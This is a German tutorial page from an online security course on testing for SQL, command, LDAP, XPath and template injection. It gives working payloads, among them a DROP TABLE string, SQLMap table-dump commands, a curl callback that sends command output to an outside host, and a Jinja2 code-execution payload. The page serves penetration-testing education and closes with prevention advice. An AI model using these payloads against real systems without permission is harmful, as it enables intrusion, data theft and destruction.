Auf Injection-Schwachstellen testen
Testen Sie mit SQLMap, manuellen Payloads und Burp auf SQL-, Command- und LDAP-Injection.
Auf Injection-Schwachstellen testen ist eine kostenlose Cyber Security Academy-Lektion auf CoddyKit. Dies ist Lektion 2 von 4. Du kannst die komplette Lektion unten kostenlos lesen – dann übst du sie direkt im Browser mit einem integrierten Code-Editor und einem KI-Tutor rund um die Uhr. Sie ist Teil des Cyber Security Academy-Lernpfads, und dein Fortschritt wird über Web und CoddyKit-App synchronisiert. Der Cyber Security Academy-Kurs umfasst insgesamt 4 Lektionen.
Klassen von Injection-Schwachstellen
Eine Injection-Schwachstelle entsteht, wenn nicht vertrauenswürdige Daten als Teil eines Befehls oder einer Abfrage an einen Interpreter gesendet werden. Der Interpreter kann Daten nicht von Befehlen unterscheiden und führt dadurch eine vom Angreifer kontrollierte Logik aus. SQL-, Command-, LDAP-, XPath- und Template-Injection gehören zu dieser Klasse.
SQL-Injection: Manuelles Testen
Beginnen Sie mit einfachen Payloads, um auf SQL-Injection zu testen. Ein einzelnes Anführungszeichen verursacht in verwundbaren Anwendungen einen SQL-Syntaxfehler. Prüfen Sie Fehlermeldungen, Unterschiede in der Antwortlänge und die Antwortzeit.
# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator
# In URL:
https://target.com/item?id=1'SQLMap für automatisierte SQLi
SQLMap automatisiert die Erkennung und Ausnutzung von SQL-Injection: Es erkennt Injektionspunkte, identifiziert das DBMS und kann Datenbanken auslesen, Dateien lesen sowie auf verwundbaren Systemen die Ausführung von Code auf Betriebssystemebene erreichen.
# Basic scan
sqlmap -u 'http://target.com/item?id=1'
# With Burp request file
sqlmap -r request.txt
# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs
# Dump a table
sqlmap -u '...' -D mydb -T users --dumpCommand-Injection testen
Command-Injection entsteht, wenn Benutzereingaben an Shell-Funktionen des Betriebssystems übergeben werden. Testen Sie mit Shell-Metazeichen: Semikolons, Pipes, Backticks und der Befehlsersetzung $().
# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id
# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1
# Or out-of-band:
; curl http://collaborator.example.com/$(id)LDAP-Injection
LDAP-Injection manipuliert LDAP-Abfragen, die für Authentifizierung und Verzeichnissuchen verwendet werden. Testen Sie Authentifizierungsfelder mit: *)(uid=*))(|(uid=*, um Filter zu umgehen.
XPath-Injection
XPath-Injection zielt auf XML-basierte Authentifizierungssysteme. Ähnlich wie bei SQLi manipulieren die Payloads XPath-Abfragen: ' or '1'='1, um die Authentifizierung zu umgehen.
Template-Injection (SSTI)
Server-Side Template Injection tritt auf, wenn Benutzereingaben in einer Template-Engine (Jinja2, Twig, Freemarker) gerendert werden. Zur Erkennung injizieren Sie {{7*7}} — wenn die Antwort 49 enthält, liegt SSTI vor.
# Detection payloads:
{{7*7}} # Jinja2, Twig
${7*7} # Freemarker, EL
<%= 7*7 %> # ERB (Ruby)
# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Burp für Injection-Tests verwenden
Senden Sie Anfragen an Repeater und injizieren Sie manuell Payloads in jeden Parameter. Verwenden Sie Intruder, um das Fuzzing mit Injection-Wortlisten zu automatisieren (SecLists enthält hervorragende Injection-Payloads).
# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*Blind-Injection erkennen
Wenn keine sichtbare Ausgabe vorhanden ist, verwenden Sie Zeitverzögerungen zur Bestätigung der Ausführung, Out-of-Band-DNS-Callbacks (Burp Collaborator oder interactsh) und boolesche Antworten (Änderungen der Inhaltslänge).
Fehlermeldungen der Anwendung lesen
Ausführliche Fehlermeldungen geben Aufschluss über Datenbanktyp, Abfragestruktur und Dateipfade — unschätzbar für das Erstellen präziser Payloads. Testen Sie neben normalen Payloads immer auch Eingaben, die Debug-Informationen oder Fehlerdetails sichtbar machen.
Referenz zur Prävention
Injection wird verhindert durch: parametrisierte Abfragen (SQLi), Eingabevalidierung und Shell-Escaping (Command-Injection) sowie den Verzicht darauf, Benutzereingaben in Templates zu rendern (SSTI). Entwickler müssen diese Maßnahmen verstehen, um sicheren Code zu schreiben.
Schnelltest
Was bestätigt die SSTI-Erkennungs-Payload {{7*7}}, wenn die Antwort 49 enthält?
Zusammenfassung: Injection-Tests
Injection-Schwachstellen entstehen durch die Vermischung von Daten und Befehlen. Testen Sie jede benutzerkontrollierte Eingabe mit Payloads für SQL-, Command-, Template- und LDAP-Injection. Verwenden Sie SQLMap für automatisierte SQL-Injection, Burp Repeater für manuelle Tests und Zeitverzögerungs- sowie OOB-Techniken für Blind-Exploitation. Dokumentieren Sie Payloads und Belege stets für den Bericht.
Häufig gestellte Fragen
Ist die Lektion „Auf Injection-Schwachstellen testen“ kostenlos?
Ja — der vollständige Text von „Auf Injection-Schwachstellen testen“ ist hier im Web kostenlos zu lesen. Um sie interaktiv zu üben (integrierter Code-Editor und 24/7 KI-Tutor) und den Rest des Cyber Security Academy-Kurses freizuschalten, upgrade auf CoddyKit PRO. Der Cyber Security Academy-Kurs umfasst insgesamt 4 Lektionen.
Was lerne ich in „Auf Injection-Schwachstellen testen“?
Testen Sie mit SQLMap, manuellen Payloads und Burp auf SQL-, Command- und LDAP-Injection. Du übst Cyber Security Academy mit praktischem Code, den du direkt im Browser ausführst, und ein 24/7 KI-Tutor beantwortet deine Fragen während du die Lektion bearbeitest.
Brauche ich Erfahrung, um Cyber Security Academy zu starten?
Keine Vorkenntnisse erforderlich. Cyber Security Academy auf CoddyKit ist für Anfänger bis fortgeschrittene Lernende strukturiert, sodass du hier starten oder von Anfang an beginnen und in deinem eigenen Tempo voranschreiten kannst. Dies ist Lektion 2 von 4.
Wie lange dauert die Lektion „Auf Injection-Schwachstellen testen“?
Die meisten CoddyKit-Lektionen dauern etwa 5–10 Minuten. Jede ist kompakt und interaktiv, sodass du stetig Fortschritte machst und genau dort weitermachst, wo du aufgehört hast – im Web und in der App.
Kann ich in dieser Cyber Security Academy-Lektion Code schreiben und ausführen?
Ja. Jede Cyber Security Academy-Lektion enthält einen integrierten Code-Editor, sodass du echten Code direkt in deinem Browser schreibst und ausführst und sofort KI-Feedback erhältst — ohne lokale Einrichtung erforderlich.
Alle Lektionen in diesem Kurs
- Burp-Suite-Proxy und Abfangen von Requests
- Auf Injection-Schwachstellen testen
- Authentifizierungs- und Sitzungstests
- Schwachstellen bei Datei-Uploads und SSRF